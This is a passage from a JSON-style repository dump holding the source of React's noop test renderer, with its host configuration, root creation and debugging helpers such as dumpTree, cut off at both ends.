'offscreen') {\n        return parentHostContext;\n      }\n      if (type === 'uppercase') {\n        return UPPERCASE_CONTEXT;\n      }\n      return NO_CONTEXT;\n    },\n\n    getPublicInstance(instance: Instance): PublicInstance {\n      return (instance: any);\n    },\n\n    HostTransitionContext: null,\n\n    createInstance(\n      type: string,\n      props: Props,\n      rootContainerInstance: Container,\n      hostContext: HostContext,\n      internalInstanceHandle: Object,\n    ): Instance {\n      if (type === 'errorInCompletePhase') {\n        throw new Error('Error in host config.');\n      }\n      if (__DEV__) {\n        // The `if` statement here prevents auto-disabling of the safe coercion\n        // ESLint rule, so we must manually disable it below.\n        if (shouldSetTextContent(type, props)) {\n          checkPropStringCoercion(props.children, 'children');\n        }\n      }\n      const inst: Instance = {\n        id: instanceCounter++,\n        type: type,\n        children: [],\n        parent: -1,\n        text: shouldSetTextContent(type, props)\n          ? // eslint-disable-next-line react-internal/safe-string-coercion\n            computeText((props.children: any) + '', hostContext)\n          : null,\n        prop: props.prop,\n        hidden: !!props.hidden,\n        context: hostContext,\n      };\n\n      if (type === 'suspensey-thing' && typeof props.src === 'string') {\n        // $FlowFixMe[prop-missing]\n        inst.src = props.src;\n      }\n\n      // Hide from unit tests\n      Object.defineProperty(inst, 'id', {value: inst.id, enumerable: false});\n      Object.defineProperty(inst, 'parent', {\n        value: inst.parent,\n        enumerable: false,\n      });\n      Object.defineProperty(inst, 'text', {\n        value: inst.text,\n        enumerable: false,\n      });\n      Object.defineProperty(inst, 'context', {\n        value: inst.context,\n        enumerable: false,\n      });\n      // $FlowFixMe[prop-missing]\n      Object.defineProperty(inst, 'fiber', {\n        value: internalInstanceHandle,\n        enumerable: false,\n      });\n      // $FlowFixMe[incompatible-return]\n      return inst;\n    },\n\n    appendInitialChild(\n      parentInstance: Instance,\n      child: Instance | TextInstance,\n    ): void {\n      const prevParent = child.parent;\n      if (prevParent !== -1 && prevParent !== parentInstance.id) {\n        throw new Error('Reparenting is not allowed');\n      }\n      child.parent = parentInstance.id;\n      parentInstance.children.push(child);\n    },\n\n    finalizeInitialChildren(\n      domElement: Instance,\n      type: string,\n      props: Props,\n    ): boolean {\n      return false;\n    },\n\n    shouldSetTextContent,\n\n    createTextInstance(\n      text: string,\n      rootContainerInstance: Container,\n      hostContext: Object,\n      internalInstanceHandle: Object,\n    ): TextInstance {\n      if (hostContext === UPPERCASE_CONTEXT) {\n        text = text.toUpperCase();\n      }\n      const inst = {\n        text: text,\n        id: instanceCounter++,\n        parent: -1,\n        hidden: false,\n        context: hostContext,\n      };\n      // Hide from unit tests\n      Object.defineProperty(inst, 'id', {value: inst.id, enumerable: false});\n      Object.defineProperty(inst, 'parent', {\n        value: inst.parent,\n        enumerable: false,\n      });\n      Object.defineProperty(inst, 'context', {\n        value: inst.context,\n        enumerable: false,\n      });\n      return inst;\n    },\n\n    createFragmentInstance(fragmentFiber: mixed) {\n      return null;\n    },\n\n    updateFragmentInstanceFiber(fragmentFiber: mixed, fragmentInstance: mixed) {\n      // Noop\n    },\n\n    commitNewChildToFragmentInstance(child: mixed, fragmentInstance: mixed) {\n      // Noop\n    },\n\n    deleteChildFromFragmentInstance(child: mixed, fragmentInstance: mixed) {\n      // Noop\n    },\n\n    scheduleTimeout: setTimeout,\n    cancelTimeout: clearTimeout,\n    noTimeout: -1,\n\n    supportsMicrotasks: true,\n    scheduleMicrotask:\n      typeof queueMicrotask === 'function'\n        ? queueMicrotask\n        : typeof Promise !== 'undefined'\n          ? (callback: () => void) =>\n              Promise.resolve(null)\n                .then(callback)\n                .catch(error => {\n                  setTimeout(() => {\n                    throw error;\n                  });\n                })\n          : setTimeout,\n\n    prepareForCommit(): null | Object {\n      return null;\n    },\n\n    resetAfterCommit(): void {},\n\n    setCurrentUpdatePriority,\n    getCurrentUpdatePriority,\n\n    resolveUpdatePriority() {\n      if (currentUpdatePriority !== NoEventPriority) {\n        return currentUpdatePriority;\n      }\n      return currentEventPriority;\n    },\n\n    trackSchedulerEvent(): void {},\n\n    resolveEventType(): null | string {\n      return null;\n    },\n\n    resolveEventTimeStamp(): number {\n      return -1.1;\n    },\n\n    shouldAttemptEagerTransition(): boolean {\n      return false;\n    },\n\n    isPrimaryRenderer: true,\n    warnsIfNotActing: true,\n\n    getInstanceFromNode() {\n      throw new Error('Not yet implemented.');\n    },\n\n    beforeActiveInstanceBlur() {\n      // NO-OP\n    },\n\n    afterActiveInstanceBlur() {\n      // NO-OP\n    },\n\n    preparePortalMount() {\n      // NO-OP\n    },\n\n    detachDeletedInstance() {},\n\n    requestPostPaintCallback(callback: (time: number) => void) {\n      const endTime = Scheduler.unstable_now();\n      callback(endTime);\n    },\n\n    maySuspendCommit(type: string, props: Props): boolean {\n      // Asks whether it's possible for this combination of type and props\n      // to ever need to suspend. This is different from asking whether it's\n      // currently ready because even if it's ready now, it might get purged\n      // from the cache later.\n      return type === 'suspensey-thing' && typeof props.src === 'string';\n    },\n\n    maySuspendCommitOnUpdate(\n      type: string,\n      oldProps: Props,\n      newProps: Props,\n    ): boolean {\n      // Asks whether it's possible for this combination of type and props\n      // to ever need to suspend. This is different from asking whether it's\n      // currently ready because even if it's ready now, it might get purged\n      // from the cache later.\n      return (\n        type === 'suspensey-thing' &&\n        typeof newProps.src === 'string' &&\n        newProps.src !== oldProps.src\n      );\n    },\n\n    maySuspendCommitInSyncRender(type: string, props: Props): boolean {\n      return true;\n    },\n\n    preloadInstance(instance: Instance, type: string, props: Props): boolean {\n      if (type !== 'suspensey-thing' || typeof props.src !== 'string') {\n        throw new Error('Attempted to preload unexpected instance: ' + type);\n      }\n      const src = props.src;\n\n      // In addition to preloading an instance, this method asks whether the\n      // instance is ready to be committed. If it's not, React may yield to the\n      // main thread and ask again. It's possible a load event will fire in\n      // between, in which case we can avoid showing a fallback.\n      if (suspenseyThingCache === null) {\n        suspenseyThingCache = new Map();\n      }\n      const record = suspenseyThingCache.get(src);\n      if (record === undefined) {\n        const newRecord: SuspenseyThingRecord = {\n          status: 'pending',\n          subscriptions: null,\n        };\n        // $FlowFixMe[incompatible-use] Still not nullable\n        suspenseyThingCache.set(src, newRecord);\n        // $FlowFixMe[prop-missing]\n        const onLoadStart = props.onLoadStart;\n        if (typeof onLoadStart === 'function') {\n          onLoadStart();\n        }\n        return false;\n      } else {\n        return record.status === 'fulfilled';\n      }\n    },\n\n    startSuspendingCommit,\n    suspendInstance,\n\n    suspendOnActiveViewTransition(\n      state: SuspendedState,\n      container: Container,\n    ): void {\n      // Not implemented\n    },\n\n    waitForCommitToBeReady,\n\n    getSuspendedCommitReason(\n      state: SuspendedState,\n      rootContainer: Container,\n    ): null | string {\n      return null;\n    },\n\n    NotPendingTransition: (null: TransitionStatus),\n\n    resetFormInstance(form: Instance) {},\n\n    bindToConsole(methodName: $FlowFixMe, args: Array<any>, badgeName: string) {\n      // $FlowFixMe[incompatible-call]\n      return Function.prototype.bind.apply(\n        // eslint-disable-next-line react-internal/no-production-logging\n        console[methodName],\n        [console].concat(args),\n      );\n    },\n  };\n\n  const mutationHostConfig: Pick<\n    HostConfig,\n    | $Keys<ReactFiberConfigWithNoMutation>\n    | $Keys<ReactFiberConfigWithNoViewTransition>,\n  > = {\n    supportsMutation: true,\n\n    cloneMutableInstance() {\n      // required for enableGestureTransition\n      throw new Error('Not yet implemented.');\n    },\n\n    cloneMutableTextInstance() {\n      // required for enableGestureTransition\n      throw new Error('Not yet implemented.');\n    },\n\n    commitMount(instance: Instance, type: string, newProps: Props): void {\n      // Noop\n    },\n\n    commitUpdate(\n      instance: Instance,\n      type: string,\n      oldProps: Props,\n      newProps: Props,\n    ): void {\n      if (oldProps === null) {\n        throw new Error('Should have old props');\n      }\n      hostUpdateCounter++;\n      instance.prop = newProps.prop;\n      instance.hidden = !!newProps.hidden;\n\n      if (type === 'suspensey-thing' && typeof newProps.src === 'string') {\n        // $FlowFixMe[prop-missing]\n        instance.src = newProps.src;\n      }\n\n      if (shouldSetTextContent(type, newProps)) {\n        if (__DEV__) {\n          checkPropStringCoercion(newProps.children, 'children');\n        }\n        instance.text = computeText(\n          (newProps.children: any) + '',\n          instance.context,\n        );\n      }\n    },\n\n    commitTextUpdate(\n      textInstance: TextInstance,\n      oldText: string,\n      newText: string,\n    ): void {\n      hostUpdateCounter++;\n      textInstance.text = computeText(newText, textInstance.context);\n    },\n\n    appendChild,\n    appendChildToContainer,\n    insertBefore,\n    insertInContainerBefore,\n    removeChild,\n    removeChildFromContainer,\n    clearContainer,\n\n    hideInstance(instance: Instance): void {\n      instance.hidden = true;\n    },\n\n    hideTextInstance(textInstance: TextInstance): void {\n      textInstance.hidden = true;\n    },\n\n    unhideInstance(instance: Instance, props: Props): void {\n      if (!props.hidden) {\n        instance.hidden = false;\n      }\n    },\n\n    unhideTextInstance(textInstance: TextInstance, text: string): void {\n      textInstance.hidden = false;\n    },\n\n    applyViewTransitionName(\n      instance: Instance,\n      name: string,\n      className: ?string,\n    ): void {},\n\n    restoreViewTransitionName(instance: Instance, props: Props): void {},\n\n    cancelViewTransitionName(\n      instance: Instance,\n      name: string,\n      props: Props,\n    ): void {},\n\n    cancelRootViewTransitionName(rootContainer: Container): void {},\n\n    restoreRootViewTransitionName(rootContainer: Container): void {},\n\n    cloneRootViewTransitionContainer(rootContainer: Container): Instance {\n      throw new Error('Not yet implemented.');\n    },\n\n    removeRootViewTransitionClone(\n      rootContainer: Container,\n      clone: Instance,\n    ): void {\n      throw new Error('Not implemented.');\n    },\n\n    measureInstance(instance: Instance): InstanceMeasurement {\n      return null;\n    },\n\n    measureClonedInstance(instance: Instance): InstanceMeasurement {\n      return null;\n    },\n\n    wasInstanceInViewport(measurement: InstanceMeasurement): boolean {\n      return true;\n    },\n\n    hasInstanceChanged(\n      oldMeasurement: InstanceMeasurement,\n      newMeasurement: InstanceMeasurement,\n    ): boolean {\n      return false;\n    },\n\n    hasInstanceAffectedParent(\n      oldMeasurement: InstanceMeasurement,\n      newMeasurement: InstanceMeasurement,\n    ): boolean {\n      return false;\n    },\n\n    startViewTransition(\n      rootContainer: Container,\n      transitionTypes: null | TransitionTypes,\n      mutationCallback: () => void,\n      layoutCallback: () => void,\n      afterMutationCallback: () => void,\n      spawnedWorkCallback: () => void,\n      passiveCallback: () => mixed,\n      errorCallback: mixed => void,\n      blockedCallback: string => void, // Profiling-only\n      finishedAnimation: () => void, // Profiling-only\n    ): null | RunningViewTransition {\n      mutationCallback();\n      layoutCallback();\n      // Skip afterMutationCallback(). We don't need it since we're not animating.\n      spawnedWorkCallback();\n      // Skip passiveCallback(). Spawned work will schedule a task.\n      return null;\n    },\n\n    startGestureTransition(\n      rootContainer: Container,\n      timeline: GestureTimeline,\n      rangeStart: number,\n      rangeEnd: number,\n      transitionTypes: null | TransitionTypes,\n      mutationCallback: () => void,\n      animateCallback: () => void,\n      errorCallback: mixed => void,\n    ): null | RunningViewTransition {\n      mutationCallback();\n      animateCallback();\n      return null;\n    },\n\n    stopViewTransition(transition: RunningViewTransition) {},\n\n    addViewTransitionFinishedListener(\n      transition: RunningViewTransition,\n      callback: () => void,\n    ) {\n      callback();\n    },\n\n    createViewTransitionInstance(name: string): ViewTransitionInstance {\n      return null;\n    },\n\n    getCurrentGestureOffset(provider: GestureTimeline): number {\n      return 0;\n    },\n\n    resetTextContent(instance: Instance): void {\n      instance.text = null;\n    },\n  };\n\n  const persistenceHostConfig: Pick<\n    HostConfig,\n    $Keys<ReactFiberConfigWithNoPersistence>,\n  > = {\n    supportsPersistence: true,\n\n    cloneInstance,\n\n    createContainerChildSet(): Array<Instance | TextInstance> {\n      return [];\n    },\n\n    appendChildToContainerChildSet(\n      childSet: Array<Instance | TextInstance>,\n      child: Instance | TextInstance,\n    ): void {\n      childSet.push(child);\n    },\n\n    finalizeContainerChildren(\n      container: Container,\n      newChildren: Array<Instance | TextInstance>,\n    ): void {\n      container.pendingChildren = newChildren;\n      if (\n        newChildren.length === 1 &&\n        newChildren[0].text === 'Error when completing root'\n      ) {\n        // Trigger an error for testing purposes\n        throw Error('Error when completing root');\n      }\n    },\n\n    replaceContainerChildren(\n      container: Container,\n      newChildren: Array<Instance | TextInstance>,\n    ): void {\n      container.children = newChildren;\n    },\n\n    cloneHiddenInstance(\n      instance: Instance,\n      type: string,\n      props: Props,\n    ): Instance {\n      const clone = cloneInstance(instance, type, props, props, true, null);\n      clone.hidden = true;\n      return clone;\n    },\n\n    cloneHiddenTextInstance(\n      instance: TextInstance,\n      text: string,\n    ): TextInstance {\n      const clone = {\n        text: instance.text,\n        id: instance.id,\n        parent: instance.parent,\n        hidden: true,\n        context: instance.context,\n      };\n      // Hide from unit tests\n      Object.defineProperty(clone, 'id', {\n        value: clone.id,\n        enumerable: false,\n      });\n      Object.defineProperty(clone, 'parent', {\n        value: clone.parent,\n        enumerable: false,\n      });\n      Object.defineProperty(clone, 'context', {\n        value: clone.context,\n        enumerable: false,\n      });\n      return clone;\n    },\n  };\n\n  const hostConfig: HostConfig = useMutation\n    ? {...sharedHostConfig, ...mutationHostConfig}\n    : {...sharedHostConfig, ...persistenceHostConfig};\n\n  const NoopRenderer = reconciler(hostConfig);\n\n  const rootContainers = new Map<string, Container>();\n  const roots = new Map<string, Object>();\n  const DEFAULT_ROOT_ID = '<default>';\n\n  let currentUpdatePriority = NoEventPriority;\n  function setCurrentUpdatePriority(newPriority: EventPriority): void {\n    currentUpdatePriority = newPriority;\n  }\n\n  function getCurrentUpdatePriority(): EventPriority {\n    return currentUpdatePriority;\n  }\n\n  let currentEventPriority = DefaultEventPriority;\n\n  function createJSXElementForTestComparison(type: mixed, props: mixed) {\n    if (__DEV__) {\n      const element = {\n        type: type,\n        $$typeof: REACT_ELEMENT_TYPE,\n        key: null,\n        props: props,\n        _owner: null,\n        _store: __DEV__ ? {} : undefined,\n      };\n      // $FlowFixMe[prop-missing]\n      Object.defineProperty(element, 'ref', {\n        enumerable: false,\n        value: null,\n      });\n      return element;\n    } else {\n      return {\n        $$typeof: REACT_ELEMENT_TYPE,\n        type: type,\n        key: null,\n        ref: null,\n        props: props,\n      };\n    }\n  }\n\n  function childToJSX(\n    child: null | Instance | TextInstance | Array<Instance | TextInstance>,\n    text: ?string,\n  ): mixed {\n    if (text !== null) {\n      return text;\n    }\n    if (child === null) {\n      return null;\n    }\n    if (typeof child === 'string') {\n      return child;\n    }\n    if (isArray(child)) {\n      if (child.length === 0) {\n        return null;\n      }\n      if (child.length === 1) {\n        return childToJSX(child[0], null);\n      }\n      const children = child.map(c => childToJSX(c, null));\n      if (\n        children.every(\n          c =>\n            typeof c === 'string' ||\n            typeof c === 'number' ||\n            typeof c === 'bigint',\n        )\n      ) {\n        return children.join('');\n      }\n      return children;\n    }\n    if (isArray(child.children)) {\n      // This is an instance.\n      const instance: Instance = (child: any);\n      const children = childToJSX(instance.children, instance.text);\n      const props = ({prop: instance.prop}: any);\n      if (instance.hidden) {\n        props.hidden = true;\n      }\n      // $FlowFixMe[prop-missing]\n      if (instance.src) {\n        props.src = instance.src;\n      }\n      if (children !== null) {\n        props.children = children;\n      }\n      return createJSXElementForTestComparison(instance.type, props);\n    }\n    // This is a text instance\n    const textInstance: TextInstance = (child: any);\n    if (textInstance.hidden) {\n      return '';\n    }\n    return textInstance.text;\n  }\n\n  function getChildren(root: ?(Container | Instance)) {\n    if (root) {\n      return root.children;\n    } else {\n      return null;\n    }\n  }\n\n  function getPendingChildren(root: ?(Container | Instance)) {\n    if (root) {\n      return root.children;\n    } else {\n      return null;\n    }\n  }\n\n  function getChildrenAsJSX(root: ?(Container | Instance)) {\n    const children = childToJSX(getChildren(root), null);\n    if (children === null) {\n      return null;\n    }\n    if (isArray(children)) {\n      return createJSXElementForTestComparison(REACT_FRAGMENT_TYPE, {children});\n    }\n    return children;\n  }\n\n  function getPendingChildrenAsJSX(root: ?(Container | Instance)) {\n    const children = childToJSX(getChildren(root), null);\n    if (children === null) {\n      return null;\n    }\n    if (isArray(children)) {\n      return createJSXElementForTestComparison(REACT_FRAGMENT_TYPE, {children});\n    }\n    return children;\n  }\n\n  function flushSync<R>(fn: () => R): ?R {\n    if (__DEV__) {\n      if (NoopRenderer.isAlreadyRendering()) {\n        console.error(\n          'flushSync was called from inside a lifecycle method. React cannot ' +\n            'flush when React is already rendering. Consider moving this call to ' +\n            'a scheduler task or micro task.',\n        );\n      }\n    }\n    if (disableLegacyMode) {\n      const previousTransition = ReactSharedInternals.T;\n      const preivousEventPriority = currentEventPriority;\n      try {\n        ReactSharedInternals.T = null;\n        currentEventPriority = DiscreteEventPriority;\n        if (fn) {\n          return fn();\n        } else {\n          return undefined;\n        }\n      } finally {\n        ReactSharedInternals.T = previousTransition;\n        currentEventPriority = preivousEventPriority;\n        NoopRenderer.flushSyncWork();\n      }\n    } else {\n      return NoopRenderer.flushSyncFromReconciler(fn);\n    }\n  }\n\n  function onRecoverableError(error: mixed): void {\n    // eslint-disable-next-line react-internal/warning-args, react-internal/no-production-logging -- renderer is only used for testing.\n    console.error(error);\n  }\n  function onDefaultTransitionIndicator(): void | (() => void) {}\n\n  let idCounter = 0;\n\n  // $FlowFixMe\n  const ReactNoop = {\n    _Scheduler: Scheduler,\n\n    getChildren(rootID: string = DEFAULT_ROOT_ID) {\n      throw new Error(\n        'No longer supported due to bad performance when used with `expect()`. ' +\n          'Use `ReactNoop.getChildrenAsJSX()` instead or, if you really need to, `dangerouslyGetChildren` after you carefully considered the warning in its JSDOC.',\n      );\n    },\n\n    getPendingChildren(rootID: string = DEFAULT_ROOT_ID) {\n      throw new Error(\n        'No longer supported due to bad performance when used with `expect()`. ' +\n          'Use `ReactNoop.getPendingChildrenAsJSX()` instead or, if you really need to, `dangerouslyGetPendingChildren` after you carefully considered the warning in its JSDOC.',\n      );\n    },\n\n    /**\n     * Prefer using `getChildrenAsJSX`.\n     * Using the returned children in `.toEqual` has very poor performance on mismatch due to deep equality checking of fiber structures.\n     * Make sure you deeply remove enumerable properties before passing it to `.toEqual`, or, better, use `getChildrenAsJSX` or `toMatchRenderedOutput`.\n     */\n    dangerouslyGetChildren(rootID: string = DEFAULT_ROOT_ID) {\n      const container = rootContainers.get(rootID);\n      return getChildren(container);\n    },\n\n    /**\n     * Prefer using `getPendingChildrenAsJSX`.\n     * Using the returned children in `.toEqual` has very poor performance on mismatch due to deep equality checking of fiber structures.\n     * Make sure you deeply remove enumerable properties before passing it to `.toEqual`, or, better, use `getChildrenAsJSX` or `toMatchRenderedOutput`.\n     */\n    dangerouslyGetPendingChildren(rootID: string = DEFAULT_ROOT_ID) {\n      const container = rootContainers.get(rootID);\n      return getPendingChildren(container);\n    },\n\n    getOrCreateRootContainer(\n      rootID: string = DEFAULT_ROOT_ID,\n      tag: RootTag,\n    ): Container {\n      let root = roots.get(rootID);\n      if (!root) {\n        const container: Container = {\n          rootID: rootID,\n          pendingChildren: [],\n          children: [],\n        };\n        // $FlowFixMe[incompatible-call]\n        rootContainers.set(rootID, container);\n        root = NoopRenderer.createContainer(\n          // $FlowFixMe[incompatible-call] -- Discovered when typechecking noop-renderer\n          container,\n          tag,\n          null,\n          // $FlowFixMe[incompatible-call] -- Discovered when typechecking noop-renderer\n          null,\n          false,\n          '',\n          NoopRenderer.defaultOnUncaughtError,\n          NoopRenderer.defaultOnCaughtError,\n          onRecoverableError,\n          onDefaultTransitionIndicator,\n          null,\n        );\n        roots.set(rootID, root);\n      }\n      return root.current.stateNode.containerInfo;\n    },\n\n    // TODO: Replace ReactNoop.render with createRoot + root.render\n    createRoot(options?: CreateRootOptions) {\n      const container: Container = {\n        rootID: '' + idCounter++,\n        pendingChildren: [],\n        children: [],\n      };\n      const fiberRoot = NoopRenderer.createContainer(\n        // $FlowFixMe[incompatible-call]\n        container,\n        ConcurrentRoot,\n        null,\n        // $FlowFixMe[incompatible-call]\n        null,\n        false,\n        '',\n        options && options.onUncaughtError\n          ? options.onUncaughtError\n          : NoopRenderer.defaultOnUncaughtError,\n        options && options.onCaughtError\n          ? options.onCaughtError\n          : NoopRenderer.defaultOnCaughtError,\n        onRecoverableError,\n        options && options.onDefaultTransitionIndicator\n          ? options.onDefaultTransitionIndicator\n          : onDefaultTransitionIndicator,\n        options && options.unstable_transitionCallbacks\n          ? options.unstable_transitionCallbacks\n          : null,\n      );\n      return {\n        _Scheduler: Scheduler,\n        render(children: ReactNodeList) {\n          NoopRenderer.updateContainer(children, fiberRoot, null, null);\n        },\n        getChildren() {\n          return getChildren(container);\n        },\n        getChildrenAsJSX() {\n          return getChildrenAsJSX(container);\n        },\n      };\n    },\n\n    createLegacyRoot() {\n      if (disableLegacyMode) {\n        throw new Error('createLegacyRoot: Unsupported Legacy Mode API.');\n      }\n\n      const container: Container = {\n        rootID: '' + idCounter++,\n        pendingChildren: [],\n        children: [],\n      };\n      const fiberRoot = NoopRenderer.createContainer(\n        // $FlowFixMe[incompatible-call] -- TODO: Discovered when typechecking noop-renderer\n        container,\n        LegacyRoot,\n        null,\n        false,\n        null,\n        '',\n        NoopRenderer.defaultOnUncaughtError,\n        NoopRenderer.defaultOnCaughtError,\n        onRecoverableError,\n        onDefaultTransitionIndicator,\n        null,\n      );\n      return {\n        _Scheduler: Scheduler,\n        render(children: ReactNodeList) {\n          NoopRenderer.updateContainer(children, fiberRoot, null, null);\n        },\n        getChildren() {\n          return getChildren(container);\n        },\n        getChildrenAsJSX() {\n          return getChildrenAsJSX(container);\n        },\n        legacy: true,\n      };\n    },\n\n    getChildrenAsJSX(rootID: string = DEFAULT_ROOT_ID) {\n      const container = rootContainers.get(rootID);\n      return getChildrenAsJSX(container);\n    },\n\n    getPendingChildrenAsJSX(rootID: string = DEFAULT_ROOT_ID) {\n      const container = rootContainers.get(rootID);\n      return getPendingChildrenAsJSX(container);\n    },\n\n    getSuspenseyThingStatus(src: string): string | null {\n      if (suspenseyThingCache === null) {\n        return null;\n      } else {\n        const record = suspenseyThingCache.get(src);\n        // $FlowFixMe[prop-missing]\n        return record === undefined ? null : record.status;\n      }\n    },\n\n    resolveSuspenseyThing(key: string): void {\n      if (suspenseyThingCache === null) {\n        suspenseyThingCache = new Map();\n      }\n      const record = suspenseyThingCache.get(key);\n      if (record === undefined) {\n        const newRecord: SuspenseyThingRecord = {\n          status: 'fulfilled',\n          subscriptions: null,\n        };\n        // $FlowFixMe[incompatible-use] still non-nullable\n        suspenseyThingCache.set(key, newRecord);\n      } else {\n        if (record.status === 'pending') {\n          record.status = 'fulfilled';\n          const subscriptions = record.subscriptions;\n          if (subscriptions !== null) {\n            record.subscriptions = null;\n            for (let i = 0; i < subscriptions.length; i++) {\n              const subscription = subscriptions[i];\n              subscription.pendingCount--;\n              if (subscription.pendingCount === 0) {\n                const commit = subscription.commit;\n                subscription.commit = null;\n                if (commit === null) {\n                  throw new Error(\n                    'Expected commit to be a function. This is a bug in React.',\n                  );\n                }\n                commit();\n              }\n            }\n          }\n        }\n      }\n    },\n\n    resetSuspenseyThingCache() {\n      suspenseyThingCache = null;\n    },\n\n    createPortal(\n      children: ReactNodeList,\n      container: Container,\n      key: ?string = null,\n    ) {\n      return NoopRenderer.createPortal(children, container, null, key);\n    },\n\n    // Shortcut for testing a single root\n    render(element: React$Element<any>, callback: ?Function): void {\n      ReactNoop.renderToRootWithID(element, DEFAULT_ROOT_ID, callback);\n    },\n\n    renderLegacySyncRoot(element: React$Element<any>, callback: ?Function) {\n      if (disableLegacyMode) {\n        throw new Error('createLegacyRoot: Unsupported Legacy Mode API.');\n      }\n      const rootID = DEFAULT_ROOT_ID;\n      const container = ReactNoop.getOrCreateRootContainer(rootID, LegacyRoot);\n      const root = roots.get(container.rootID);\n      NoopRenderer.updateContainer(element, root, null, callback);\n    },\n\n    renderToRootWithID(\n      element: React$Element<any>,\n      rootID: string,\n      callback: ?Function,\n    ) {\n      const container = ReactNoop.getOrCreateRootContainer(\n        rootID,\n        ConcurrentRoot,\n      );\n      const root = roots.get(container.rootID);\n      NoopRenderer.updateContainer(element, root, null, callback);\n    },\n\n    unmountRootWithID(rootID: string) {\n      const root = roots.get(rootID);\n      if (root) {\n        NoopRenderer.updateContainer(null, root, null, () => {\n          roots.delete(rootID);\n          rootContainers.delete(rootID);\n        });\n      }\n    },\n\n    findInstance(\n      componentOrElement: Element | ?component(...props: any),\n    ): null | Instance | TextInstance {\n      if (componentOrElement == null) {\n        return null;\n      }\n      // Unsound duck typing.\n      const component = (componentOrElement: any);\n      if (typeof component.id === 'number') {\n        return component;\n      }\n      if (__DEV__) {\n        return NoopRenderer.findHostInstanceWithWarning(\n          component,\n          'findInstance',\n        );\n      }\n      return NoopRenderer.findHostInstance(component);\n    },\n\n    flushNextYield(): Array<mixed> {\n      Scheduler.unstable_flushNumberOfYields(1);\n      return Scheduler.unstable_clearLog();\n    },\n\n    startTrackingHostCounters(): void {\n      hostUpdateCounter = 0;\n      hostCloneCounter = 0;\n    },\n\n    stopTrackingHostCounters():\n      | {\n          hostUpdateCounter: number,\n        }\n      | {\n          hostCloneCounter: number,\n        } {\n      const result = useMutation\n        ? {\n            hostUpdateCounter,\n          }\n        : {\n            hostCloneCounter,\n          };\n      hostUpdateCounter = 0;\n      hostCloneCounter = 0;\n\n      return result;\n    },\n\n    expire: Scheduler.unstable_advanceTime,\n\n    flushExpired(): Array<mixed> {\n      return Scheduler.unstable_flushExpired();\n    },\n\n    unstable_runWithPriority: function runWithPriority<T>(\n      priority: EventPriority,\n      fn: () => T,\n    ): T {\n      const previousPriority = getCurrentUpdatePriority();\n      try {\n        setCurrentUpdatePriority(priority);\n        return fn();\n      } finally {\n        setCurrentUpdatePriority(previousPriority);\n      }\n    },\n\n    batchedUpdates: NoopRenderer.batchedUpdates,\n\n    deferredUpdates: NoopRenderer.deferredUpdates,\n\n    discreteUpdates: NoopRenderer.discreteUpdates,\n\n    idleUpdates<T>(fn: () => T): void {\n      const prevEventPriority = currentEventPriority;\n      currentEventPriority = IdleEventPriority;\n      try {\n        fn();\n      } finally {\n        currentEventPriority = prevEventPriority;\n      }\n    },\n\n    flushSync,\n    flushPassiveEffects: NoopRenderer.flushPassiveEffects,\n\n    // Logs the current state of the tree.\n    dumpTree(rootID: string = DEFAULT_ROOT_ID) {\n      const root = roots.get(rootID);\n      const rootContainer = rootContainers.get(rootID);\n      if (!root || !rootContainer) {\n        // eslint-disable-next-line react-internal/no-production-logging\n        console.log('Nothing rendered yet.');\n        return;\n      }\n\n      const bufferedLog: string[] = [];\n      function log(...args: string[]) {\n        bufferedLog.push(...args, '\\n');\n      }\n\n      function logHostInstances(\n        children: Array<Instance | TextInstance>,\n        depth: number,\n      ) {\n        for (let i = 0; i < children.length; i++) {\n          const child = children[i];\n          const indent = '  '.repeat(depth);\n          if (typeof child.text === 'string') {\n            log(indent + '- ' + child.text);\n          } else {\n            // $FlowFixMe[unsafe-addition]\n            log(indent + '- ' + child.type + '#' + child.id);\n\n            logHostInstances(\n              // $FlowFixMe[incompatible-call]\n              child.children,\n              depth + 1,\n            );\n          }\n        }\n      }\n      function logContainer(container: Container, depth: number) {\n        log('  '.repeat(depth) + '- [root#' + container.rootID + ']');\n        logHostInstances(container.children, depth + 1);\n      }\n\n      function logUpdateQueue(updateQueue: UpdateQueue<mixed>, depth: number) {\n        log('  '.repeat(depth + 1) + 'QUEUED UPDATES');\n        const first = updateQueue.firstBaseUpdate;\n        const update = first;\n        if (update !== null) {\n          do {\n            log(\n              '  '.repeat(depth + 1) + '~',\n              // $FlowFixMe\n              '[' + update.expirationTime + ']',\n            );\n          } while (update !== null);\n        }\n\n        const lastPending = updateQueue.shared.pending;\n        if (lastPending !== null) {\n          const firstPending = lastPending.next;\n          const pendingUpdate = firstPending;\n          if (pendingUpdate !== null) {\n            do {\n              log(\n                '  '.repeat(depth + 1) + '~',\n                // $FlowFixMe\n                '[' + pendingUpdate.expirationTime + ']',\n              );\n            } while (pendingUpdate !== null && pendingUpdate !== firstPending);\n          }\n        }\n      }\n\n      function logFiber(fiber: Fiber, depth: number) {\n        log(\n          '  '.repeat(depth) +\n            '- ' +\n            // need to explicitly coerce Symbol to a string\n            (fiber.type ? fiber.type.name || fiber.type.toString() : '[root]'),\n          // $FlowFixMe[unsafe-addition]\n          '[' +\n            // $FlowFixMe[prop-missing]\n            fiber.childExpirationTime +\n            (fiber.pendingProps ? '*' : '') +\n            ']',\n        );\n        if (fiber.updateQueue) {\n          logUpdateQueue(\n            // $FlowFixMe[incompatible-call]\n            fiber.updateQueue,\n            depth,\n          );\n        }\n        // const childInProgress = fiber.progressedChild;\n        // if (childInProgress && childInProgress !== fiber.child) {\n        //   log(\n        //     '  '.repeat(depth + 1) + 'IN PROGRESS: ' + fiber.pendingWorkPriority,\n        //   );\n        //   logFiber(childInProgress, depth + 1);\n        //   if (fiber.child) {\n        //     log('  '.repeat(depth + 1) + 'CURRENT');\n        //   }\n        // } else if (fiber.child && fiber.updateQueue) {\n        //   log('  '.repeat(depth + 1) + 'CHILDREN');\n        // }\n        if (fiber.child) {\n          logFiber(fiber.child, depth + 1);\n        }\n        if (fiber.sibling) {\n          logFiber(fiber.sibling, depth);\n        }\n      }\n\n      log('HOST INSTANCES:');\n      logContainer(rootContainer, 0);\n      log('FIBERS:');\n      logFiber(root.current, 0);\n\n      // eslint-disable-next-line react-internal/no-production-logging\n      console.log(...bufferedLog);\n    },\n\n    getRoot(rootID: string = DEFAULT_ROOT_ID) {\n      return roots.get(rootID);\n    },\n  };\n\n  return ReactNoop;\n}\n\nexport default createReactNoop;\n"
  },
  {
    "path": "packages/react-reconciler/README.md",
